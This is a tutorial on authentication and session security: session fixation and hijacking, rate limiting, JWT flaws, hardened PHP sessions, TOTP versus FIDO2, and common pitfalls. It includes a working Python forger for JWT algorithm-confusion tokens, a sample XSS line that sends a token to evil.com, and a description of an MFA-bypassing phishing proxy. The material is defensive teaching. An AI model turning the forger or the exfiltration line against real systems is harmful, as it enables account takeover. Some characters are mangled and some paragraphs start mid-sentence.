π Identity Verification, Session Lifecycles & State Token Integrity
HTTP was originally designed as a completely stateless protocol: each request and response cycle operates independently without memory of past transactions. To facilitate modern persistent web applications (such as banking portals, email clients, and e-commerce carts), developers introduce Session Management mechanisms that bind a series of discrete HTTP requests to an authenticated user identity. However, when these mechanisms failβcategorized by OWASP as Broken Authentication and Identification Failuresβan adversary can compromise passwords, bypass multi-factor authentication (MFA), or forge session tokens to take over accounts without discovering user credentials. Whether through predictable session identifiers, Session Fixation traps, credential stuffing, or cryptographic design flaws in JSON Web Tokens (JWTs), weak session implementations bypass all lower-level authorization boundaries. Securing modern applications requires strict lifecycle management: cryptographic entropy, state token rotation upon privilege escalation, memory-hard hashing, and standardized hardware authentication.
THE AUTHENTICATION & SESSION LIFECYCLE VULNERABILITY MATRIX:
PHASE 1: CREDENTIAL VERIFICATION & LOGIN
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β’ Vulnerability: Weak password hashing (MD5/SHA-1/single-round SHA-256 without memory hardness) β
β β’ Vulnerability: Missing Rate-Limiting & Account Lockouts (Credential Stuffing / Password Spray)β
β β’ Vulnerability: User Enumeration via Verbose Error Responses ("User not found" vs "Bad pass") β
β β’ Vulnerability: Insecure Password Reset Workflows (Predictable tokens, secret security q's) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ (Successful Login β Token Issuance)
PHASE 2: SESSION TOKEN GENERATION & BINDING
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β’ Vulnerability: Insufficient Token Entropy (Sequential IDs, timestamp hashes, PRNG flaws) β
β β’ Vulnerability: Session Fixation (Preserving pre-login session ID across login transition) β
β β’ Vulnerability: Insecure Storage (Tokens in URL query strings, localStorage vulnerable to XSS) β
β β’ Vulnerability: Missing Cookie Security Flags (Omitted Secure, HttpOnly, SameSite attributes) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ (Ongoing Active Application Usage)
PHASE 3: SESSION MAINTENANCE, VALIDATION & TEARDOWN
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β’ Vulnerability: Missing Idle & Absolute Timeouts (Sessions remain valid indefinitely) β
β β’ Vulnerability: Incomplete Logout / Invalidation (Server deletes UI cookie but keeps DB entry) β
β β’ Vulnerability: Concurrent Session Abuse (No enforcement of single-active-session bounds) β
β β’ Vulnerability: JWT Cryptographic Misconfigurations (alg:none, weak HMAC shared secrets) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
SESSION FIXATION VS. SESSION HIJACKING ARCHITECTURE:
1. SESSION FIXATION ATTACK SEQUENCE (PRE-LOGIN ATTACK):
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Step 1: Attacker visits target banking site: https://portal.example.com/. β
β Server assigns an unauthenticated guest session: PHPSESSID=ATTACKER_KNOWN_ID_999 β
β β
β Step 2: Attacker crafts link trap and delivers it to Victim: β
β https://portal.example.com/login.php?PHPSESSID=ATTACKER_KNOWN_ID_999 β
β β
β Step 3: Victim clicks link and logs in using their real username and password. β
β β
β Step 4: THE ARCHITECTURAL DEFECT (NO TOKEN REGENERATION): β
β The backend authenticates the user, BUT KEEPS THE SAME SESSION ID (ATTACKER_KNOWN_ID) β
β and elevates its privilege status to "AUTHENTICATED"! β
β β
β Step 5: Attacker now refreshes their browser using ATTACKER_KNOWN_ID_999 β
β and immediately gains full access to the victim's authenticated profile! β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
2. SESSION HIJACKING ATTACK SEQUENCE (POST-LOGIN THEFT):
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Step 1: Victim logs in normally. Server assigns session ID: SESSION_SECRET_XYZ. β
β β
β Step 2: Attacker steals the active session ID through one of three primary vectors: β
β βββ Vector A: Cross-Site Scripting (XSS reading un-flagged document.cookie) β
β βββ Vector B: Network Eavesdropping (Sniffing cleartext HTTP traffic / Wi-Fi) β
β βββ Vector C: Referer Header Leakage (Session ID embedded in URL query parameters) β
β β
β Step 3: Attacker injects SESSION_SECRET_XYZ into their own browser cookie jar β
β and impersonates the victim until the session expires or is manually revoked. β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
import time
from collections import defaultdict
from typing import Dict, List
class LoginRateLimiter:
"""
Sliding-Window Rate Limiter & Account Lockout Engine:
Defends against:
1. Vertical Brute-Force (Many passwords against single username)
2. Horizontal Password Spray (Few common passwords across thousands of usernames)
3. Distributed Credential Stuffing (High-frequency attempts per IP)
"""
def __init__(self, max_attempts_per_ip: int = 5, window_seconds: int = 300, lockout_threshold: int = 5):
self.max_ip_attempts = max_attempts_per_ip
self.window = window_seconds
self.lockout_threshold = lockout_threshold
# IP -> List of timestamps
self.ip_history: Dict[str, List[float]] = defaultdict(list)
# Username -> Consecutive failed attempts
self.failed_user_attempts: Dict[str, int] = defaultdict(int)
# Username -> Lockout expiration timestamp
self.account_lockouts: Dict[str, float] = {}
def is_request_permitted(self, client_ip: str, username: str) -> dict:
now = time.time()
# 1. Check if user account is currently locked out
if username in self.account_lockouts:
if now < self.account_lockouts[username]:
remaining = int(self.account_lockouts[username] - now)
return {"permitted": False, "reason": f"Account locked. Try again in {remaining}s."}
else:
del self.account_lockouts[username]
self.failed_user_attempts[username] = 0
# 2. Check sliding-window IP rate limit
timestamps = self.ip_history[client_ip]
# Prune timestamps older than window
self.ip_history[client_ip] = [t for t in timestamps if now - t < self.window]
if len(self.ip_history[client_ip]) >= self.max_ip_attempts:
return {"permitted": False, "reason": "Too many requests from this IP. Rate limit triggered."}
return {"permitted": True, "reason": "Proceed to authentication."}
def record_attempt(self, client_ip: str, username: str, success: bool):
now = time.time()
self.ip_history[client_ip].append(now)
if success:
# Reset counters on valid login
self.failed_user_attempts[username] = 0
if username in self.account_lockouts:
del self.account_lockouts[username]
else:
self.failed_user_attempts[username] += 1
if self.failed_user_attempts[username] >= self.lockout_threshold:
# Lock account for 15 minutes (900 seconds)
self.account_lockouts[username] = now + 900
if __name__ == "__main__":
limiter = LoginRateLimiter(max_attempts_per_ip=3, window_seconds=60, lockout_threshold=3)
IP_ADDR = "198.51.100.25"
USER = "sdet_nikita"
print("==========================================================================")
print(" AUTHENTICATION RATE LIMITING & ACCOUNT LOCKOUT SIMULATION")
print("==========================================================================")
for i in range(1, 5):
check = limiter.is_request_permitted(IP_ADDR, USER)
print(f"Attempt {i}: Permitted? {check['permitted']} | Status: {check['reason']}")
if check['permitted']:
# Simulate failed password entry
limiter.record_attempt(IP_ADDR, USER, success=False)
Header.Payload.Signature), standard registered claims (iss, sub, exp, nbf), and cryptographic verification models.
JSON WEB TOKEN (JWT) RFC 7519 STRUCTURAL DISSECTION:
A standard JWT consists of three distinct Base64URL-encoded JSON structures separated by dots:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMDAxIiwidXNlciI6ImFsaWNlIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzkzNzQxMjAwfQ.db9A4yL7z_0QJ_W38kQpL4m7v8A3kL9m3q0P2r1S4tU
βββββββββββββββββββ¬ββββββββββββββββββ βββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββ βββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββ
PART 1: HEADER (JOSE Header) PART 2: PAYLOAD (Claims Set) PART 3: CRYPTOGRAPHIC SIGNATURE
1. PART 1: THE HEADER (Decoded JSON):
{
"alg": "HS256", // Signing algorithm (HMAC-SHA256, RS256, ES256)
"typ": "JWT" // Token type
}
2. PART 2: THE PAYLOAD / CLAIMS SET (Decoded JSON):
{
"iss": "https://auth.nikita-infotech.com", // Issuer authority
"sub": "user_1001", // Subject unique identifier
"role": "SuperAdmin", // Custom authorization claim
"iat": 1793737600, // Issued At (Unix timestamp)
"exp": 1793741200 // Expiration time (MANDATORY claim!)
}
3. PART 3: THE CRYPTOGRAPHIC SIGNATURE:
β’ For Symmetric HMAC-SHA256:
Signature = HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
SECRET_KEY
)
β’ Invariant: If an attacker modifies even a single character in the Payload (e.g. changing
"role": "Student" to "role": "SuperAdmin"), the signature recalculation fails and the
server rejects the token immediately!
alg: none signature bypass and the Algorithm Confusion Attack, where a server expecting asymmetric RS256 is tricked into validating with symmetric HS256 using its public RSA key as the HMAC secret.
import hmac
import hashlib
import base64
import json
"""
JWT VULNERABILITY 1: THE "alg: none" STRIPPED SIGNATURE EXPLOIT:
Some early JWT libraries accepted tokens with "alg": "none".
Attack:
1. Change header to: {"alg": "none", "typ": "JWT"}
2. Change payload to: {"sub": "admin", "role": "SuperAdmin"}
3. Strip the signature entirely (trailing dot remains):
base64(header) + "." + base64(payload) + "."
4. Flawed parser verifies signature because algorithm is "none"!
JWT VULNERABILITY 2: THE ALGORITHM CONFUSION ATTACK (RS256 -> HS256):
Server was designed for Asymmetric RS256:
β’ Private Key (Kept secret by server): Signs tokens.
β’ Public Key (Published openly on web, e.g. /public.pem): Verifies signatures.
The Attack:
1. Attacker downloads the server's PUBLIC key (public.pem).
2. Attacker modifies the JWT header from "alg": "RS256" to "alg": "HS256".
3. Attacker alters the payload to claim administrative privileges.
4. Attacker signs the token using the SYMMETRIC HMAC-SHA256 algorithm,
using the SERVER'S PUBLIC KEY STRING AS THE HMAC SECRET!
5. The flawed server sees "alg": "HS256", calls hmac_sha256(token, key),
and passes its own public key as the secret parameter.
6. The signature matches mathematically! Forgery succeeds!
"""
def b64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')
def forge_algorithm_confusion_token(public_key_pem: str, forged_claims: dict) -> str:
header = {"alg": "HS256", "typ": "JWT"} # Force HMAC-SHA256
header_b64 = b64url_encode(json.dumps(header).encode('utf-8'))
payload_b64 = b64url_encode(json.dumps(forged_claims).encode('utf-8'))
signing_input = f"{header_b64}.{payload_b64}".encode('utf-8')
# Sign using public key as shared HMAC secret
signature = hmac.new(public_key_pem.encode('utf-8'), signing_input, hashlib.sha256).digest()
sig_b64 = b64url_encode(signature)
return f"{header_b64}.{payload_b64}.{sig_b64}"
if __name__ == "__main__":
SERVER_PUBLIC_KEY = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...\n-----END PUBLIC KEY-----"
forged_payload = {"user": "attacker", "role": "DomainAdmin", "exp": 1793741200}
forged_jwt = forge_algorithm_confusion_token(SERVER_PUBLIC_KEY, forged_payload)
print("==========================================================================")
print(" JWT ALGORITHM CONFUSION (RS256 -> HS256) FORGERY")
print("==========================================================================")
print(f"[*] Forged Token Generated:\n{forged_jwt}")
print("\n[β] Defense: Hardcode the expected algorithm explicitly on the verification server:")
print(" jwt.decode(token, key, algorithms=['RS256']) # Never trust header 'alg'!")
Secure, HttpOnly, SameSite), enforces strict_mode, regenerates session IDs upon login, and tracks idle and absolute timeouts.
<?php
declare(strict_types=1);
class SecureSessionManager {
private const IDLE_TIMEOUT_SECONDS = 900; // 15 Minutes Idle Timeout
private const ABSOLUTE_TIMEOUT_SECONDS = 28800; // 8 Hours Absolute Timeout
public static function startSecureSession(): void {
if (session_status() === PHP_SESSION_ACTIVE) {
return;
}
// 1. Enforce Hardened Cookie & Session Directives
ini_set('session.use_strict_mode', '1'); // Rejects uninitialized attacker-supplied IDs
ini_set('session.use_only_cookies', '1'); // Disallows passing session ID in URL parameters
ini_set('session.cookie_httponly', '1'); // Prevents JavaScript XSS access to cookie
ini_set('session.cookie_secure', '1'); // Enforces transmission ONLY over HTTPS
ini_set('session.cookie_samesite', 'Lax'); // Defends against cross-site CSRF requests
ini_set('session.gc_maxlifetime', '28800'); // Server garbage collection window
session_set_cookie_params([
'lifetime' => 0, // Closes when browser terminates
'path' => '/',
'domain' => 'portal.nikita-infotech.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Lax'
]);
session_start();
self::validateSessionLifecycles();
}
/**
* Call immediately upon successful username/password verification!
*/
public static function elevateToAuthenticated(int $userId, string $role): void {
// PREVENTS SESSION FIXATION: Wipes old session ID and issues a brand-new ID!
session_regenerate_id(true);
$_SESSION['authenticated'] = true;
$_SESSION['user_id'] = $userId;
$_SESSION['role'] = $role;
$_SESSION['created_at'] = time(); // For Absolute Timeout calculation
$_SESSION['last_activity'] = time(); // For Idle Timeout calculation
}
private static function validateSessionLifecycles(): void {
if (!isset($_SESSION['authenticated'])) {
return;
}
$now = time();
// 2. Enforce Idle Timeout Check
if (isset($_SESSION['last_activity']) && ($now - $_SESSION['last_activity'] > self::IDLE_TIMEOUT_SECONDS)) {
self::destroySession();
die("SESSION EXPIRED: Inactive for more than 15 minutes. Please log in again.");
}
// 3. Enforce Absolute Timeout Check (Forces re-authentication every 8 hours)
if (isset($_SESSION['created_at']) && ($now - $_SESSION['created_at'] > self::ABSOLUTE_TIMEOUT_SECONDS)) {
self::destroySession();
die("SESSION EXPIRED: Maximum session duration reached. Please log in again.");
}
// Update heartbeat timestamp
$_SESSION['last_activity'] = $now;
}
public static function destroySession(): void {
$_SESSION = [];
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
}
session_destroy();
}
}
?>
MFA PROTOCOL COMPARISON & PHISHING RESISTANCE:
1. TIME-BASED ONE-TIME PASSWORD - TOTP (RFC 6238: Google Authenticator, Authy):
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β’ Mechanism: Client and Server share a symmetric base32 secret key: K β
β β’ Formula: TOTP = Truncate( HMAC-SHA1( K, floor(Current_Unix_Time / 30) ) ) β
β β’ Output: 6-digit dynamic code that changes every 30 seconds. β
β β
β β οΈ THE CRITICAL FLAW (PHISHABLE VIA ADVERSARY-IN-THE-MIDDLE - Evilginx): β
β An attacker sets up a reverse proxy at https://portal.login-verify.com/ β
β 1. Victim types their username, password, AND 6-digit TOTP code into the proxy. β
β 2. The proxy forwards the credentials to the real bank server within the 30-second window. β
β 3. The real server authenticates the session and returns an active session cookie. β
β 4. The proxy intercepts and steals the session cookie! TOTP IS COMPLETELY BYPASSED! β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
2. FIDO2 / WEBAUTHN (W3C STANDARD: Yubikey, Apple TouchID, Windows Hello):
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β’ Mechanism: Asymmetric Public-Key Cryptography bound strictly to the ORIGIN DOMAIN. β
β β’ Private Key: Stored inside an un-exportable hardware chip (Secure Enclave / TPM). β
β β’ Public Key: Registered with the server during enrollment. β
β β
β π‘οΈ PHISHING-RESISTANT BY MATHEMATICAL DESIGN: β
β When authenticating, the browser queries the hardware authenticator: β
β Authenticator signs: [ Challenge_Nonce + Origin_Domain (e.g. "bank.example.com") ] β
β β
β If victim is tricked onto phishing site: https://portal.login-verify.com/: β
β β’ The browser transmits the REAL current origin: "login-verify.com" to the YubiKey! β
β β’ The hardware signs for "login-verify.com". β
β β’ The proxy forwards the signature to the real bank (bank.example.com). β
β β’ The real bank inspects the signature: DOMAIN MISMATCH! AUTHENTICATION REJECTED! β
β β’ Zero phishing risk: No code or password exists that the user can accidentally reveal! β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
import hmac
import hashlib
import time
import base64
import struct
class CustomTotpGenerator:
"""
Implements RFC 6238 (TOTP) and RFC 4226 (HOTP):
Step 1: Compute counter T = floor(Current_Time / Time_Step)
Step 2: Hash counter with shared secret using HMAC-SHA1
Step 3: Dynamically truncate digest to extract 4-byte code
Step 4: Modulo 10^6 to return 6-digit PIN
"""
def __init__(self, base32_secret: str, time_step: int = 30, digits: int = 6):
# Decode base32 secret (standard format used in Authenticator QR codes)
self.secret = base64.b32decode(base32_secret.upper())
self.time_step = time_step
self.digits = digits
def generate_current_totp(self) -> str:
current_epoch = int(time.time())
# Calculate counter: Number of 30-second intervals since Unix epoch (1970-01-01)
time_counter = current_epoch // self.time_step
# Pack 64-bit integer into big-endian byte array
counter_bytes = struct.pack(">Q", time_counter)
# Compute HMAC-SHA1
hmac_digest = hmac.new(self.secret, counter_bytes, hashlib.sha1).digest()
# Dynamic Truncation (RFC 4226 Section 5.4):
# Extract lowest 4 bits of the last byte to serve as an offset index (0 to 15)
offset = hmac_digest[-1] & 0x0F
# Read a 4-byte big-endian integer starting at offset
binary_code = struct.unpack(">I", hmac_digest[offset:offset + 4])[0]
# Mask out most significant bit to avoid signed integer ambiguity
binary_code &= 0x7FFFFFFF
# Modulo 10^digits to produce final code
totp_pin = binary_code % (10 ** self.digits)
# Pad with leading zeros if code < 100000
return f"{totp_pin:0{self.digits}d}"
if __name__ == "__main__":
# Standard 16-character base32 secret
SHARED_SECRET = "JBSWY3DPEHPK3PXP"
totp = CustomTotpGenerator(SHARED_SECRET)
current_pin = totp.generate_current_totp()
print("==========================================================================")
print(" RFC 6238 TIME-BASED ONE-TIME PASSWORD ENGINE")
print("==========================================================================")
print(f"[*] Base32 Secret Key : {SHARED_SECRET}")
print(f"[*] Time Step Window : 30 Seconds")
print(f"[+] Current TOTP Code : {current_pin} (Valid for active window)")
AUTHENTICATION DEFECTS & ARCHITECTURAL CORRECTIONS:
// ==============================================================================
// PITFALL 1: USER ENUMERATION VIA RESPONSE MESSAGES & TIMING
// DEFECT:
// if (!userExists(email)) { return "Email does not exist"; }
// if (!verifyPassword(pwd)) { return "Incorrect password"; }
// FLAW: Attackers test lists of emails; the server explicitly confirms which users exist!
// Timing Side-Channel: Password hashing (Argon2) takes 300ms. An attacker measures
// response latency: 5ms = User does not exist; 305ms = User exists, wrong password!
// CORRECTION: Return identical messages: "Invalid credentials."
// Always execute a dummy password hash calculation if the user does NOT exist to
// ensure response times are identical!
// ==============================================================================
// ==============================================================================
// PITFALL 2: STORING JWTs IN LOCALSTORAGE (VULNERABLE TO XSS)
// DEFECT: localStorage.setItem("jwt_token", response.token);
// FLAW: Any Cross-Site Scripting (XSS) vulnerability on the domain allows an attacker
// to run: new Image().src = "http://evil.com/?t=" + localStorage.getItem("jwt_token");
// CORRECTION: Store session tokens in an 'HttpOnly; Secure; SameSite=Strict' cookie!
// JavaScript cannot read an HttpOnly cookie, blocking theft via XSS.
// ==============================================================================
// ==============================================================================
// PITFALL 3: WEAK PASSWORD RESET TOKEN GENERATION
// DEFECT: $reset_token = md5($user_email . time());
// FLAW: An attacker knowing the victim's email and approximate reset request time
// brute-forces the md5 output space within seconds and resets the victim's password!
// CORRECTION: Generate cryptographically secure random tokens:
// $reset_token = bin2hex(random_bytes(32)); // 256 bits of CSPRNG entropy
// ==============================================================================
AUTHENTICATION & SESSION SECURITY SPECIFICATION MATRIX:
βββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββ¬βββββββββββββββββββ¬ββββββββββββββββββββββββββββββββ
β AUTHENTICATION DOMAIN β THREAT VECTOR / VULNERABILITYβ IMPACT LEVEL β MANDATORY ENTERPRISE DEFENSE β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Credential Storage β Passwords hashed with MD5, β Critical β Memory-hard Key Derivation: β
β β SHA-1, or unsalted SHA-256 β Database Leak β Argon2id, bcrypt (cost >= 12) β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Password Brute-Force β Credential stuffing, β High β Sliding-window rate limiting, β
β β horizontal password spraying β Account Takeover β Account lockout, CAPTCHA β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Session Fixation β Session ID kept unchanged β High β session_regenerate_id(true) β
β β across login transition β Account Takeover β immediately on authentication β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Session Hijacking β Token theft via XSS, network β High β Set HttpOnly, Secure flags; β
β β sniffing, or Referer headers β Impersonation β Enforce TLS 1.3 across domain β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Session Lifetime β Stale sessions valid for β Medium β Enforce dual timeouts: β
β Management β days without re-auth checks β Zombie Session β 15-min idle & 8-hr absolute β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β JWT Signature Flaws β "alg": "none" signature drop,β Critical β Enforce static verification β
β (RFC 7519) β RS256-to-HS256 confusion β Token Forgery β algorithms; Reject 'none' β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Multi-Factor Auth (MFA) β Phishable SMS / Voice OTP, β High β Migrate to FIDO2 / WebAuthn β
β β Real-time AitM proxy bypass β MFA Bypass β with domain origin binding β
βββββββββββββββββββββββββββ΄βββββββββββββββββββββββββββββββ΄βββββββββββββββββββ΄ββββββββββββββββββββββββββββββββ€
β TOP 5 AUTHENTICATION HARDENING AXIOMS: β
β 1. Hash with Memory-Hard KDFs: Never use fast general-purpose hashes for passwords; mandate Argon2id. β
β 2. Rotate Tokens on Privilege Changes: Always generate a new session identifier upon successful login. β
β 3. Restrict Session Cookies: Mandate HttpOnly, Secure, and SameSite=Lax/Strict on all session cookies. β
β 4. Hardcode JWT Verification Algorithms: Never trust the algorithm parameter in an untrusted header. β
β 5. Adopt Phishing-Resistant MFA: Deploy FIDO2/WebAuthn passkeys to eliminate credential interception. β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ